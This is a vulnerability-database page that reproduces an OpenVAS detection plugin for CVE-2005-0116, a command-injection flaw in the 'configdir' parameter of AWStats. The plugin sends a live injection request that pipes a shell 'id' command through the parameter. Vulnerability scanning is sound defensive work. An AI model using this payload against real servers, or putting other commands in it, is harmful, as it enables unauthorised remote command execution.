AWStats < 6.3 'configdir' Parameter Arbitrary Command Execution Vulnerability - Active Check
🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2005 David MaciejakType
openvas🔗 plugins.openvas.org👁 17 Views
| Reporter | Title | Published | Views | Family All 37 |
|---|---|---|---|---|
| awstats -- remote command execution vulnerability | 21 Oct 200400:00 | – | freebsd | |
| AWStats < 6.3 awstats.pl configdir Parameter Remote Command Execution | 18 Jan 200500:00 | – | nessus | |
| AWStats awstats.pl configdir Parameter Arbitrary Command Execution | 18 Jan 200500:00 | – | nessus | |
| FreeBSD : awstats -- remote command execution vulnerability (0f5a2b4d-694b-11d9-a9e7-0001020eed82) | 13 Jul 200500:00 | – | nessus | |
| GLSA-200501-36 : AWStats: Remote code execution | 14 Feb 200500:00 | – | nessus | |
| CAN-2005-0116 | 6 Aug 202409:42 | – | cve | |
| CVE-2005-0116 | 19 Jan 200505:00 | – | cve | |
| CVE-2005-0116 | 26 Dec 200900:00 | – | circl | |
| Update Protection against AWStats Remote Command Execution Vulnerability | 5 Jul 200600:00 | – | checkpoint_advisories | |
| AWStats configdir Parameter Remote Command Execution (CVE-2005-0116; CVE-2005-0362) | 24 Nov 201400:00 | – | checkpoint_advisories |
10
| Source | Link |
|---|---|
| securityfocus | www.securityfocus.com/bid/12270 |
| securityfocus | www.securityfocus.com/bid/12298 |
# SPDX-FileCopyrightText: 2005 David Maciejak
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:awstats:awstats";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.16189");
script_version("2025-09-09T14:09:45+0000");
script_cve_id("CVE-2005-0116");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/12270");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/12298");
script_tag(name:"last_modification", value:"2025-09-09 14:09:45 +0000 (Tue, 09 Sep 2025)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_name("AWStats < 6.3 'configdir' Parameter Arbitrary Command Execution Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2005 David Maciejak");
script_family("Web application abuses");
script_dependencies("gb_awstats_http_detect.nasl");
script_mandatory_keys("awstats/http/detected");
script_require_ports("Services/www", 80);
script_tag(name:"summary", value:"AWStats is prone to a command execution vulnerability.");
script_tag(name:"insight", value:"The remote version of this software is prone to an input
validation vulnerability. The issue is reported to exist because user supplied 'configdir' URI
data passed to the 'awstats.pl' script is not sanitized.");
script_tag(name:"impact", value:"An attacker may exploit this condition to execute commands remotely or disclose
contents of web server readable files.");
script_tag(name:"solution", value:"Update to version 6.3 or later.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_vul");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("port_service_func.inc");
if( ! port = get_app_port( cpe:CPE, service:"www" ) )
exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) )
exit( 0 );
http_check_remote_code(
unique_dir:dir,
extra_check:"Check config file, permissions and AWStats documentation",
check_request:"/awstats.pl?configdir=|echo%20Content-Type:%20text/html;%20echo%20;id|%00",
check_result:"uid=[0-9]+.*gid=[0-9]+.*",
command:"id",
port:port
);
exit( 99 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
09 Sep 2025 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 27.5
EPSS0.74941